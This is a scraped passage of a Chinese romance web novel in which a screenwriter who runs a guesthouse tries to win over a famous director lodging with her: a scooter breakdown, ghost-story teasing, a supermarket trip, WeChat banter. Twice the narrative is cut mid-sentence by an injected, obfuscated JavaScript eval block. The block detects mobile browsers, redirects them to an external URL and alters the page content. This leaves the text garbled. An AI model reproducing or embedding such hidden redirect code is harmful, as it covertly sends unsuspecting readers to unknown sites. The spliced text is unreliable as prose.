宜夏低着头摸已经爆掉的轮胎,沉默许久,终于开口说了一路以来第一句话:“怎么办?” 谈雪昼蹲下,仔细检查车胎,好一会儿说:“不好修。” “那怎么办?” “推回去。” “哦。”宜夏试着推了一把车子,还好,虽然爆胎,但能推动。她默默握上车把,推着车往前走。 两个人无言走了一段路,谈雪昼落在后面,低声叫她:“喂。” 宜夏没回头,低声问:“怎么了?” “没什么。” 谈雪昼下颌角绷紧,没再说话。 两个人又陷入了沉默。 走过一段海风凛凛的环海公路,前面出现了几幢灯火通明的房子。近看,竟然是家小便利店。谈雪昼走在前面,回过头问:“吃夜宵吗?” 宜夏推着车:“不用,谢谢。” 谈雪昼推开便利店的门,快速点了几串关东煮,捧着纸杯出来。 宜夏不得不站在门口等他。他走过来:“我请客。” 宜夏:“不用。” “五万。” 宜夏:“……你扣钱吧。” 谈雪昼:“不扣。”他问,“加一千,吃一根,怎么样?” 宜夏错愕地看着他。 脑海开始天人激战,一个在说不要被金钱腐蚀啊有点骨气好吗,一个在说腐蚀就腐蚀了又能吃又能挣的谈导这种二傻子可太少了好吗。激烈交战片刻,关东煮馥郁的香味飘进鼻腔,她拿过一串脆骨丸,小小咬了一口。 谈雪昼慢慢悠悠说:“吃了我的东西就别装哑巴了。” “我……” “我刚说的不对。很多拍文艺片的都是一群蠢货,不过,你不是。” 宜夏眨了下眼睛。 她睫毛纤长浓密,杏眼黑白分明,目光专注地凝在人身上时,给人风平浪静温柔明媚的感觉。 谈雪昼补充:“不过也不怎么样。” 宜夏:“哦。” “你不也说我的没深度吗。” 宜夏咬了一口脆骨丸:“……你没生气吗?” 谈雪昼淡淡说:“我只是不在乎而已。我的电影,我想怎么拍就怎么拍,其他人说三道四,算什么东西?” 宜夏闷了一会儿,突然想…… 所以,他是在为了刚刚攻击她道歉吗? 也太旁敲侧击了。 宜夏垂着头,小声说:“我也不该那么说你。”她顿了下,转头问,“所以,谈老师,你知道我的剧本啊?你之前……认识我吗?我们之前见过吗?” 谈雪昼看着她,表情突然变得很冷淡:“不认识,没见过,陌生人。” 宜夏:“……” 怎么说变脸就变脸,这又是什么情况。 微凉的夜风裹挟着海浪微微浮动的咸腥味。 两人走在回家的一段上坡路上,树影浮动。 算不上太熟悉的两个人,彼此之间话题并不多,宜夏不知道什么时候会触到他的雷区,让他突然阴晴不定地变脸,只好有一口没一口地咬脆骨丸,不知道说什么好。 ……等等。 他说,不认识,陌生人。 是不是意味着,他不知道她身上那些脏水。 不会对她有个初始的坏印象。 宜夏想七想八,安静地走了一段路。 宜夏在心里默默地叹了口气,主动找了个话题下台阶:“所以你来清塘是为了取景?那下部电影要拍什么?” “没想好。”谈雪昼赏脸多说两句,“想拍个悬疑片,或者恐怖类型。” “恐怖……是哪种啊?会有鬼吗?” 谈雪昼漫不经心说:“没有。我想拍的是人和人之间的恐怖。” 宜夏接话:“……比如说?” “比如说?比如说……”谈雪昼声音压低,“你是一个渔民。你和你的丈夫一起出海。台风来了,你们却没来得及回港,被台风卷得远离了海岸。你们一起漂在海里,所有的东西都吃完了。”他顿了下,声音很镇定,“不过,你们的儿子也在船上……” 宜夏已经感同身受地代入了,起了一层浅浅的鸡皮疙瘩:“够了,可以不用再说了。” 环海公路有一段路程没有路灯,一片漆黑。天色倒不是纯黑,而类似于深蓝墨蓝的一种深色。月亮阴惨惨地挂在空中,仿佛一枚冰冷的硬币,周围又晕出一圈泪痕似的浅黄光晕。晚风卷过路旁刺桐和木麻黄树的叶子,响声窸窣。黑暗中有什么动物迅速从旁边掠过,黑影迅疾。 没有照明,只宜夏的小电驴射着一束发抖的光线,在四周旷荡荒野的黑暗中,如此微弱,如此战栗。 宜夏后颈发凉。 她抬手搓了一把。 谈雪昼看见她抿紧的唇瓣,嗤笑:“害怕?” 宜夏镇定说:“我不怕。” 谈雪昼声音压低,继续说:“你们还在海上飘着。几天之后,儿子没了。”他顿了下,故意用那种飘忽的声音压着嗓子说,“你睡着了。梦里突然惊醒,睁开眼睛,头顶传来你丈夫的声音——小宜,所有东西都吃完了……怎么办……怎么办呢?” 宜夏手臂鸡皮疙瘩炸起,大声说:“别说了!” 谈雪昼声音轻飘飘落在后面:“小宜,前面好像有东西。” “啊啊啊啊啊——”宜夏尖叫着撒开车把,转身一把抱住谈雪昼,伸手捂他嘴巴,“不准说了!” 谈雪昼整个人僵住。 怀里的女孩身体柔软温热,还细微地发着抖。 她头发馥郁清纯的气味濛濛地荡开,如丝如缕,萦绕在他的鼻尖。她掐着他的手臂,胡乱举手捂他的嘴,却在混乱中打掉了挂在胸口的墨镜。 宜夏脑补太旺盛,肾上腺素极速分泌,脸颊脖颈烫得要死。她绷紧脸,急促呼吸,紧紧地抱着谈雪昼的腰,抬起脸看进他的眼睛里。 他正好低头。 对视一眼。 谈雪昼在宜夏颤抖的瞳孔里看见了自己的影子。 他喉结滚了下,沉默片刻,声音微妙:“你倒也不用,为了和我……接触,就这么演吧?” 宜夏是真没装,她是真怕恐怖片。 但既然他都这么说了,她突然就觉得自己能克服一下。 理智重新占据上风,眼下这个微妙的姿势,似乎是个天赐良机啊。想到这里,宜夏不仅没撒手,反而抱得更紧了,头也紧紧低下去,埋在谈雪昼胸口,微微发着抖,小声说:“误会了。我是真的害怕。” 谈雪昼沉默两秒,轻飘飘说:“再不撒手,我叫非礼了。” 宜夏声音小得和蚊子一样:“你叫吧,这里没警察。” 谈雪昼都被气笑了。 宜夏见好就收,默默撒手走过去扶起刚刚撒手的小电驴。 谈雪昼捡起丢到地上的墨镜,垂下头,指尖把玩两秒,目光凝在了宜夏的背影上。 宜夏默默垂着头继续推车。 都豁出去了,自己这么活色生香一个大美女,他怎么就丝毫不动容,完全坐怀不乱呢? 他不会,真是个Gay吧? “——我不是。” 宜夏惊恐扭头。 她居然自言自语说出口了? 谈雪昼似笑非笑:“我不是Gay。” 宜夏这下是真感觉到头皮发麻的尴尬感。 她甚至不想和谈雪昼说话了。 - 宜夏创业未半而中道再一次崩殂。 不过回到家之后,宜夏居然等来了她期待已久的,微信好友申请。 谈雪昼的微信头像是只戴着墨镜酷酷的玳瑁猫,特别胖,像个煤气罐,长得还丑,毛色乱七八糟杂乱无章。 应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461073|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是什么网红小猫。 那就是谈雪昼自己养的了。 看不出来他是这么有爱心的一个人类。 宜夏终于得到了朝思暮想的微信,临手机涕霖不知所言。 正琢磨着怎么开场震慑谈雪昼一番,谈雪昼发来一条: 【没事不要给我发信息。】 紧接着跟来一个PDF文档。 宜夏呆了下,点进去看。 是他发来的各种注意事项。小到酒精过敏芒果过敏等等,而且还对啤酒过敏不对红酒过敏就特别神奇;大到有事没事不要上楼也不能进房间,房间里的设备弄坏了修一次八千,等等。 宜夏看完。 没发信息反馈读后感。 毕竟他不是说没事不要发吗,她稍微遵守一下规则,这个点儿就不发了。 明天再发。 她拉着被子睡了过去,结果昏昏沉沉做了半宿的梦,梦里全是拿着菜刀要吃人的谈雪昼。 从梦里惊醒,她捶了下枕头,翻来覆去再次酝酿睡意。 但每次她只要半夜突然醒来,就很难再睡着。 她翻身起来从柜子里翻出褪黑素,吃了两粒,口干渴得不行,光着脚轻手轻脚出了房间门,去厨房找水喝。 出门的时候,却见二楼谈雪昼的房间隐隐透出灯光。 不是房间的大灯,像是一盏台灯或者床头灯那种昏黄的,雾蒙蒙的点光。 但……那个房间是没有床头灯和台灯的。 怎么回事啊? 宜夏抱着水杯,在楼下迟疑地站住。 刚刚做的梦突然闪电般穿梭进了脑海……完了,不会有灵异事件吧? 虽然他警告过不让她上楼,但她这种时候顾不得那么多了。恐惧不安攫住了她的情绪,试探着爬上楼,但站在门口她又有些忐忑,不敢直接敲—— 犹豫片刻,她想到了个好办法。 低头飞快编辑了一条微信过去。 宜夏: 【您好,您睡了吗?】 半秒之后,宜夏点了撤回。 谈雪昼: 【?】 这人大晚上的居然真的没睡着? 刚刚吓唬人,作恶多端良心不安睡不着? 却见那边很快发过来一句: 【半夜三更在我门口干什么?】 宜夏:“……” 【睡着了也被你的动静吵醒了。】 宜夏慢吞吞打字: 【对不起】 【我只是突然想起来了,想提醒你一件事。】 【你刚刚欠了我一千块。】 谈雪昼: 【?】 宜夏真诚地问: 【你该不会反悔吧?】 【没关系,你反悔我也不会觉得你是那种不讲信用的人的。】 【只不过,我会有点失望罢了。】 【没想到大名鼎鼎的谈导居然是这种人。】 那边快刀斩乱麻,发过来一个问句: 【半夜还要找人胡说八道,你睡不着?】 半分钟后,又慢腾腾发来两句: 【怎么,还在怕?】 【还是在回味,刚刚非礼我的滋味?】 宜夏沉默片刻,面无表情把刚刚那一串话删掉,用力摁着屏幕打字: 【刚刚太短暂了】 【你这样,你让我再试一下,才能回味完全。】 那边沉默了。 宜夏感觉自己赢了。 虽然不知道为什么在这方面有胜负欲,但她真的觉得她赢了。 可是转念一想。 她的目的不是赢下和谈雪昼的嘴仗,而是……刷他的好感度啊! 他现在该不会真的以为她是什么色迷心窍、双重人格的变态吧? 既然知道他是还没睡着,她放心了,轻手轻脚打算下楼。 身后的房门却霍然被人拉开。 谈雪昼头发凌乱,眼睛里全是睡意,哑声叫住她:“喂。” 宜夏在手机上敢口嗨。 面对真人却头都不敢回,站在原地尴尬得头皮发麻,讪讪说:“我刚刚……是第二人格,突发恶疾。” 11. 春日 第11章 - 宜夏回头悄悄偷看看他的表情,就知道他很无语,无语得都被逗笑了。 谈雪昼轻言细语说:“大半夜的,孤男寡女,你稍微克制一下对我的……垂涎。” 宜夏:“……” 嗯嗯。 我尽量。 宜夏镇定地下楼。 路过他房间门口,朝里面不经意瞥了一眼。 里面亮的是原来一盏他自己带过来的小夜灯,鹿角形状。 宜夏回到房间,琢磨着难道谈雪昼其实怕黑吗? 不能关灯睡觉? 还是说今天晚上吓唬了别人,自己也良心不安害怕得睡不着? - 接下来好几天,宜夏偶尔半夜起夜找水喝,都发现楼上谈雪昼的房间亮着灯。 如果不是熬夜修仙,就是真的怕黑,要开灯睡觉。 宜夏感觉自己好像逮住他一个弱点了。 ……可是,这个弱点有什么用啊? 宜夏咬着笔尖,把纸上的剧本大纲胡乱涂成一团,一筹莫展。 这几天跟谈雪昼的关系毫无进展,除开加了个微信不咸不淡聊两句之外…… 宜夏感觉自己怎么总是在他面前丢脸呢? 老剧本卖不出去,新剧本也是没有半点头绪。 宜夏盯着纸张发呆。 “笃笃笃”,耳边传来指节敲击桌面的清脆声响。 她转过头。 谈雪昼一只手撑在桌面上,居高临下看着她。他手背上骨节凸起,像一把撑开的白玉伞骨,腕骨因为瘦有一块突起转折,是格外风流的峡湾。 宜夏突然有些出神。 他垂着眼皮,懒散问:“这附近去哪里买日用品?我沐浴露用完了。” 宜夏下意识说:“有家超市。你导航就能找到。” 谈雪昼略略点头。 宜夏想到什么,话锋一转:“谈老师,你要买什么?我们这里路不太好找,我带你去吧。” “不用。” 宜夏三步并作两步追上去,三两步跟在他背后,小声说:“这家超市挺远的,有四五公里。” 谈雪昼侧过头看她,扯了下唇角。 宜夏温柔而热情,诚恳而真挚:“谈老师,还是我带你去吧。” “你打什么主意?” “我想……服务我最尊贵的贵客。” 谈雪昼若有所思:“第二人格?” 宜夏:“……” 宜夏出了房门,到院子里。 所以怎么带谈雪昼去?——宜夏豁出去了。 她从院子的车棚里推出补好胎的功勋小电驴,拍了拍车座,看向谈雪昼。 谈雪昼站得离小电驴三米远。 宜夏抱着两个头盔,用诚恳的眼神看着谈雪昼。 然而媚眼抛给了戴墨镜的瞎子,谈雪昼无动于衷。 宜夏不得不解释:“超市真的挺远的,需要代步工具。” 谈雪昼声音微妙:“所以你就让我骑这玩意儿?” 宜夏说:“上次去诊所不也骑了吗?” “那是情况紧急特殊。……我不可能骑这东西。” “……不是你骑。”宜夏深呼吸。真是豁出去了,她温温柔柔说,“就这一辆,我们,得一起骑。” 谈雪昼沉默两秒,点了点头。 宜夏以为他很好说话呢,赶紧把头盔递给他,却听他懒散说:“觊觎我这么不择手段。” 宜夏:“……” “宜老师,我提醒你一句,我们只是单纯的房东与房客的关系,男女授受不亲,不合适。” 宜夏张了张嘴,沉默两秒,她温温吞吞说:“是啊,谈先生,你一个人出门在外,作为男孩子一定要保护好自己。” 她径直走两步,趁谈雪昼没反应过来,踮起脚尖把粉色的头盔直接压在了他头顶。 温和说:“我会保护好你的。” 谈雪昼错愕一秒,低眼就见宜夏已经眼疾手快开始帮他系安全头盔的系带。 她表情严肃,睫毛微微扇着,手指灵巧地在他脖颈处穿梭。 距离有点太近了,能看清她脸颊细小的绒毛,她身上一股清新的小苍兰香味幽幽缈缈,如丝如缕萦绕在他的鼻尖。 就好像风筝的玻璃线,在心口突地拽了一下。 谈雪昼一时之间怔住了,等退开时已经来不及。 宜夏系好扣带,给自己也利索戴好帽子,眼眸明亮,温温和和说:“走吧谈先生。” 又很无辜:“你不会觉得我想对你做什么吧?” 谈雪昼目光飘向车棚。那里停了两辆自行车。 宜夏立刻说:“都是坏的。” 怕他不信,她还走过去蹬了一脚脚踏,摊手:“车链卡住了。” 宜夏坐上车前座,扭过头,用自然的眼神催促他。 身后传来微微的下陷感,下一秒,一股雨后清晨清新的雨雾气息将她兜头笼罩,背后传来谈雪昼漫不经心的声音:“我倒是想看你能对我做什么。” 宜夏用行动回应了他—— 一辆只能承载一个人的小电驴,要坐下两个人,其中还有一个身高腿长的男人。 怎么才能(不)产生肢体接触,这是一个严肃的问题。 小电驴承受着两个人的体重,踉踉跄跄、慢慢吞吞开了出去。刚转弯驶上环海公路,宜夏就猛地一拧车把,加速。 按道理说,人都是有惯性的,猛地加速,人会往后倒,相应的,加速之后再猛减速,人就会往前倒。所以宜夏只需要再突然刹车,谈雪昼就会倒她身上,产生一些该有不该有的肢体接触。 她是如此计划,可是背后谈雪昼的声音竟然很正经,还带着一些警告:“好好骑。” 宜夏没好意思做太明显,只好平稳开起来。 沿着环海公路往下开,清新凛冽的海风拂过。小电驴虽然小,但谈雪昼坐到了接近尾部,硬生生空出来了两公分距离,没有任何肢体接触。 走到一半,宜夏琢磨着,不来真的是不行了。 天赐良机,路过附近的幼儿园,几道减速带横亘于眼前。 宜夏完全没有减速,直接疾驰而过。小电驴驶过减速带,剧烈颠簸,她被颠得往上弹了两寸,而背后的谈雪昼自然惯性朝前,重重撞到了宜夏背上。 那一瞬间宜夏不是计谋得逞的喜悦,而是……卧槽他吃什么长大的啊! 肩膀骨头怎么这么硬! 撞得她好疼。 她表情扭曲了一瞬间,下一秒,腰际被人握住。谈雪昼两只手握着她的腰,一动不动,声音懒散干净:“好好开。” 太突然了。 宜夏有点后悔,她不适应了。 一路胡思乱想,颠簸着骑到超市门口。宜夏摘头盔的时候,耳廓全红了。谈雪昼却是一张淡定无所谓的脸,解开头盔丢进篮筐里,镇定自若看着她。 宜夏低头解自己的头盔,十分颓废,深感自己技不如人。 稍一抬头,余光却,瞥见他的耳根隐约染上了一层绯红。 ……嗯??? 超市一楼是卖生鲜蔬果的,二楼才是日用品。 到二楼,谈雪昼随便选了些沐浴露洗发水之类的,他倒也不怎么挑,看到合眼缘的就丢进推车里,很快就选好。 宜夏从推车里拿出来一个洗发水,端详两秒:“我建议你换个牌子。” 谈雪昼皱眉侧过头。 宜夏微微仰起脸,端端正正把洗发水摆回原来的位置。 谈雪昼把宜夏放回去的洗发水又拿下来,提醒她:“宜老师,我们也没熟到可以讨论洗发水买哪个牌子吧?” 宜夏转过脸,表情很严肃:“你仔细看看。” 谈雪昼低头看洗发水的外包装。 超市开架,很普通的一款。 宜夏说:“你看这个八百毫升,要六十块,那个牌子,大包装两升,才九十八块,是不是那个比较划算?” 谈雪昼扯了扯唇角:“两升?你打算让我留在你家多久?” 宜夏深吸一口气,说了实话:“其实是代言人很丑。” 谈雪昼:“……舒润。你不喜欢他?黑粉?” 宜夏承认:“是黑,不是粉。” 谈雪昼懒得跟她扯太多,顺从她把洗发水放回去,再拿了一款没有代言人的,丢回推车。 宜夏推着车往前走。 谈雪昼瞟了眼货架上舒润笑得温润的脸,转过头,目光凝在宜夏纤细的背影上。 她穿了一件绿白条纹的无袖短上衣,长度只到腰,隐约露出一段白得晃眼的肌肤。腰肢盈盈一握,那一截线条玲珑得像现代诗里的字句。 谈雪昼眯了下眼睛。 没有多问。 - 回去依然是一起骑小电驴。 宜夏这次不敢多作妖了,老老实实骑着车,小电驴安安全全把两个人驮回家。 谈雪昼直接上了二楼,维持一个和宜夏井水不犯河水的相处状态。 宜夏简直是望洋兴叹。 谈雪昼这个人简直油盐不进,她主动的攻势好像得加把火,不然攻略完全没有进展嘛。 怎么办呢? 宜夏烦恼着,手机突然响了。 看到来电显示那一刻,宜夏一怔。 宜月心。 她妈妈。 宜夏等铃声响了快十秒,才迟疑着,慢慢滑动手机,按下了接通。 她没出声。 对面的人也没先开口,于是电话线两端都维持了很微妙的死寂。 终于,那边的人打破了这种奇怪的气氛,先是叹了口气,出声:“小夏,你在听吗?” 宜夏“嗯”了一声。 “是妈妈。” 宜夏仍然只是“嗯”了一声。 那边安静片刻:“妈妈过几天回国,想回来看看你,你还住在岛上吗?” 宜夏很快说:“不用。” “小夏……” “没必要。” 那边哽住了,很轻柔地叹了口气:“小夏,你不要,对妈妈这么抗拒……” 宜夏声音也很柔和:“我没有抗拒,只是,没有必要。” 这么多年都没有管过她,现在,更没有必要。 宜夏低声说:“没别的事,我先挂了。” 挂掉电话,宜夏心情却一下变得很低落。 - 宜夏发现谈雪昼最近的作息很稳定,早出晚归,每天都带着相机出门。说是勘景,其实更像旅游。 这天谈雪昼一大早吃了早饭准备出门,宜夏终于逮住机会,拦住了他。 宜夏语气很诚恳:“谈老师,你这段时间应该是在勘景吧?但我感觉你进度好像挺一般的,你可能需要一个本地的向导。”顿了下,很镇定地自我推销,“比如,我这样的。” 谈雪昼:“免了谢谢。” 宜夏真诚地眨眼:“真的不需要吗?清塘岛上哪里风景最好最适合取景拍照最好看我都知道,真的不用吗?” “不需要。”他看着她,慢悠悠说,“不是我不信任你……”顿了下,话又说回来了,“我确实不太信任你。” 宜夏:“……免费的都不要?” 谈雪昼依然拒绝,宜夏情急之下上前两步,拽住他的手臂。 谈雪昼低下眼,目光锁在自己和她相连的手腕处。他不动,宜夏张了张口,也不知道说什么,气氛突然变得有点微妙。 宜夏讪讪松手,把手背到背后,镇定地微笑:“误会了。刚刚是我的第二人格。” 唉。 怎么每次都在他面前表现得这么奇怪呢?她整个人都丧了起来,苦着脸,垂下眼皮等谈雪昼的嘲讽。 沉默。 片刻后,谈雪昼若无其事说:“算了。”顿了下,“就给你这个接近我的机会。你就穿这个出门?” 宜夏抬起头。 等等,所以他意思是她可以和他一起出门了? 谈雪昼看见面前的人眼睛瞬间亮了起来。 谈雪昼有一个导演对镜头的敏感,一瞬间忽然觉得她的眼睛很适合镜头逐渐推近,拍大特写。 那双眼睛薄薄的泪膜仿佛蒙着一层缥碧的水壳,明亮清澈。 宜夏飞快往房间走:“那你等等,我马上换个衣服!” 宜夏换了身更宽松方便出门的衣服。 特别休闲,印花大T恤加及膝短裤,踩一双白色球鞋。她还特地戴了顶遮阳的草帽,在小包里塞了饮料、防晒霜和清凉油,装备齐全。 谈雪昼这段时间都只是在附近勘景。 说是勘景,更像是旅游,拍拍照,找个地方坐一会儿休息,思考下一部电影拍什么,找找灵感。 清塘岛说大不大,但也不是走路能逛完全岛的地方,没有交通工具,确实只能在附近看看。 顺着环海公路往下走,宜夏一路上欲言又止,想拉拉关系。 谈雪昼虽然同意她一起出门,但爱答不理。 宜夏在脑子里回放两个人的对话,感觉自己实在是太舔了。 当一只矜持的舔狗,太难了。 虽然她是以“本地人导游”的名义出来的,但谈雪昼很有主见,根本不听她的导游安排。导致她从导游沦为伴游,还被警告少说话。 气得她吨吨喝饮料。 逛了挺久,谈雪昼拍了挺多风景照,两个人在一家路边的饮料店休息。 这种饮料店的主营业务就是椰子水,椰子刚摘下来运到,每个椰子皮壳都泛着青色,非常新鲜。老板砍椰子的动作非常麻利,几刀就能砍出缺口,然后倒出一整杯新鲜的椰子水。 宜夏非常主动,大方请客,谈雪昼倒一点不客气,还要了两杯。 ——正和宜夏的心意。 吃人嘴软,拿人手短嘛。 看谈雪昼喝得差不多了,宜夏双手交叉放在桌上,睫毛扑闪,继续刚刚路上没聊开的话题:“谈老师,我有个问题想向您请教。” 谈雪昼低头看相机里的照片,随口说:“免了。” 宜夏:“?” 怎么跟这人聊不到一起去呢? 她愈挫愈勇,继续努力,温温柔柔说:“我真的,就是有点好奇,像您这样受欢迎、行情好的男同胞,喜欢什么样的对象?” 谈雪昼从相机屏幕上抬头,懒散勾唇:“喜欢哑巴。” 宜夏:“……” 宜夏深吸气,下巴搁在桌板上,努力眨巴眼睛,忽视他的打击:“我真的就是特别好奇。我下一个本子,打算写一个您这样出色的角色,所以想调研一下。” 谈雪昼:“以我为原型?” 宜夏真诚眨眼:“对。新剧本。希望您能给点指导。放心我一定把您写得英明神武、武艺超群、群星璀璨、璨若星河、河、河……” 谈雪昼接话:“河清海晏。” 宜夏:“晏然自若。” 谈雪昼:“若即若离。” 宜夏:“为什么突然开始成语接龙。” 谈雪昼:“离经叛道。你输了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461074|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜夏:“……” 她忽视他的打岔:“所以您能不能,指教我一下。” 谈雪昼往椅背上一靠,跟个大爷似的懒洋洋说:“我要吃清补凉。” 宜夏立马跑去服务台给少爷点单。 还点了一大碗,什么小料都加满。 给自己也点了一小碗。 老板把两碗清补凉端上来,谈雪昼开始挑剔:“我不吃红豆和葡萄干。” 宜夏温柔说:“那就挑到我碗里吧。” 谈雪昼动作一顿,把清补凉推给她,似笑非笑:“你来挑。” 宜夏发挥了这辈子的耐心,认认真真、仔仔细细地把红豆葡萄干都挑了出来,再把碗推回去。 谈雪昼又说:“我不吃椰果。” 宜夏眨了下眼。 真是拼命压制住胸口一股恶气,她维持着温柔:“那您吃我这碗吧。” “你这碗有红豆。” 宜夏微笑:“那您把要求一次性说了,我再去给您点一碗。” “不行,浪费。” 宜夏憋得不行了,维持不了笑脸,问:“你到底要怎么样?” “这样就破功了?”谈雪昼看着她,似乎什么都看破,不咸不淡地说,“我不要怎么样,我只是想知道,你非要跟我出来是什么目的。” 宜夏只好一口咬死:“我真的只是想要写一个剧本,写一个人物。” 谈雪昼不知道是信还是不信,轻飘飘地“嗯”了一声,不置可否:“行。” “所以能回答我吗?” “我这个人呢,喜欢真诚的,喜欢没什么目的,没什么心机的,单纯的。” 宜夏在备忘录里记下了这串形容词,虚心问:“还有呢?譬如说长相,风格,打扮。” 谈雪昼指节在桌面上敲了敲:“长相……我喜欢比较粗犷的。中性的,雄壮的,威武有力的。” 宜夏一言难尽。 绝对在哄她。 “说真的。” “是真的。” 宜夏没忍住:“那这种风格还是比较罕见的。怪不得你一直单身。” 谈雪昼说:“不用你操心,我行情好得很。” 宜夏没来得及找句讽刺的话,谈雪昼吊儿郎当说:“眼前不就是一个觊觎我美貌的人么。” 宜夏:“……” - 真诚的。 单纯的。 没心机的。 简单来说就是傻白甜。 没想到谈雪昼这种看起来不着调的傲慢大少爷,也喜欢流行口味。宜夏感觉自己的出发点,就已经跟真诚单纯没心机不搭边了。 可是她的长相还能抢救一下,往傻白甜方向靠拢。 她特地在小红书上搜索了一晚上的“初恋穿搭”、“傻白甜风”,经过一夜的恶补,她觉得自己拿捏住精髓了。 清早,打扮得格外楚楚动人,化了个精致的素颜妆,还特地戴上了深棕色美瞳,打算给谈雪昼一个惊艳亮相。 谁知道。 谈雪昼又天还没亮就出门了。 宜夏本来打算先惊艳一把,再照昨天一样跟他一块出门的。 等到九点不见他从楼上下来,忍不住发微信: 【你生病了吗?】 【早餐做好了,下来吃饭。】 谈雪昼隔了好久才回了她一张Live照片。 碧波万顷的海面波光粼粼,日光在波纹上闪烁跳跃,白鸥振翅,带来急促的风声和破空声。 宜夏一大早起来化妆打扮简直是在向瞎子抛媚眼。 怒从心头起,她抄起手机,自拍了好几张,加上美颜滤镜,发给了谈雪昼。 等过了两分钟,才装作如梦初醒地发消息: 【对不起谈先生,发错了,时间过了没办法撤回了。】 谈雪昼: 【原本准备发给谁?】 宜夏: 【没谁,就我闺蜜。】 谈雪昼: 【哦。】 就,哦? 哦? 她化了这么精致的伪素颜全妆,高光阴影一应俱全,花在脸上的化妆品就得超过五百块。还穿了条基本不会穿出门的塔夫绸白裙子,掐腰收身,特别显身段。这么精细的打扮,就只换来一声“哦”。 唉。 不过也对。 他什么漂亮的女人没见过?上到影后视后,下到影视学院校花,什么样风格的美女在他眼里都不稀罕。 哪怕他不是票房百亿的大导演,光凭他那张脸,凭他的家世,也能招蜂引蝶吸引无数女人饿虎扑食吧。 宜夏颓了下,失去力气了,默默说: 【你就当没看见吧,不好意思谈老师。】 谈雪昼: 【嗯】 宜夏:“……” 他就只是,嗯? 宜夏已经被打击习惯了,她麻木了,她已经不会伤心了。 只会越挫越勇。 - 从谈雪昼嘴里套不出实话。但他作为这么有名的电影人,娱乐圈核心,绝对留有很多采访记录,就不信他没在采访里透露过自己的理想型。 哪怕没说过理想型,也绝对说过自己的喜好、偏爱,说过自己喜欢吃什么喝什么也是好的。 宜夏再次振作起来,开始搜谈雪昼相关的采访。 他虽然人低调,但作品不低调,宣传期确实有不少路演采访视频,有粉丝剪了片段出来,不用她大海捞针地寻找。 宜夏一时间觉得自己简直是在做行业研究市场调查。这么刻苦,没有回馈就太亏了。 她戴着耳机,专心致志地看采访视频。 大概是一年半以前的一条采访。 那会儿,谈雪昼的《心声直播》和《强制报告》挤在了同一个档期。《强制报告》吸干了大盘,《心声直播》的票房虽然高,但估计没达到谈雪昼的预期,他不大满意,接受采访的时候特地检讨自己的失职。但是采访的主持人才没觉得有什么失职的,全程星星眼,只在关注谈导的个人问题。 问谈导的理想型啦,选女演员的标准啦,生日啦喜好啦,甚至恋情经历之类的。 谈雪昼那时眼睛还没出事,没戴标志性的墨镜。 宜夏第一次感觉,可以用“明媚灿烂”这个词来形容一个男人的眼睛。 他懒散勾着唇,看着主持人,也不回答,只是笑。 主持人很快被他笑红了脸,羞涩地捂住脸说:“谈导快别发射魅力了,这么多粉丝都在等着你的回答呢!” 前一个问题是,“谈导拍了这么多电影,理想型是什么样的女生?” 谈雪昼认真想了想,说出来的话却有点空:“我喜欢……那种,会让我联想到春天的。” “谈导会考虑找圈内人恋爱吗?” 宜夏凑近屏幕,专心致志等着视频里的回答。 ——面前笔记本的空格键,突然被人按了下,画面暂停。 宜夏猝然侧过头。 是谈雪昼。 他从外面回来,额头上出了点汗。肩宽腿长,条纹立领的浅色衬衫在身上特别挺括有型。墨镜架在鼻梁上,垂眸看她,薄唇勾出似笑非笑的弧度: “——这么想知道,看什么视频,不如来问我。” 宜夏心跳莫名加速了半秒,坐直了,仰起脸,认真温吞地回答:“我问了,你又不肯回答。”她镇定说,“谈老师,这个角色对我来说,真的很重要。所以,……” “你会找圈内人谈恋爱吗?” 12. 春日 第12章 - 徐皑把一大堆剧本材料都收起来,总结:“确实没什么好本子,没好项目能开,暂时先休息一阵儿是好事。对了,郑中承那边最近又遇见事儿了。” 谈雪昼没兴趣追问,徐皑却兴致勃勃开始幸灾乐祸,“当初不是你去跟地方上谈的借拍摄场地吗。他们这两天转场,地方上的工作人员一看导演不是你,就说场地不借了。现在全组停工等新场地,至少得耽误十天半个月的工期!” 谈雪昼眼皮耷拉着,玩手里一支红蓝铅笔,淡声说:“不关我的事。你也少看别人笑话。” “算了。”徐皑也觉得挺没意思的,嘲笑傻子不是相当于拉低自己的水平么。他转移话题,“在岛上过得还可以吧?” 说到这个,谈雪昼不困了。 他坐直,撑着下巴,沉思许久,问:“我这个人,条件怎么样?” 徐皑:“?” “哪方面条件?经济条件?个人硬件?除了性格不太好之外,其他的简直没得挑,兄弟。” 谈雪昼说:“所以有人,非常迅速地喜欢上了我,也是很合理的,对吧?” 徐皑声音微妙:“上了你?” 谈雪昼:“算了,老师不让我跟傻子说话。” 徐皑:“别啊别啊!你这是遇上桃花了?” 谈雪昼:“……算不上,最多是食人花。” 徐皑兴趣更浓了:“快说快说,怎么回事?清塘岛这么小,你还能碰上对胃口的?……是那个民宿的老板吗?你说有意思那个?男的女的?” 谈雪昼:“我不是Gay。” “所以是女的。”徐皑推理严密。 谈雪昼:“……要不要我夸你智商高?” “别嘲讽我。我可以为你提供很多恋爱建议!问我问我,我全懂,想想我和盈盈恋爱分手又复合八年,你所有疑惑我都能给你解答,我真的全懂。” 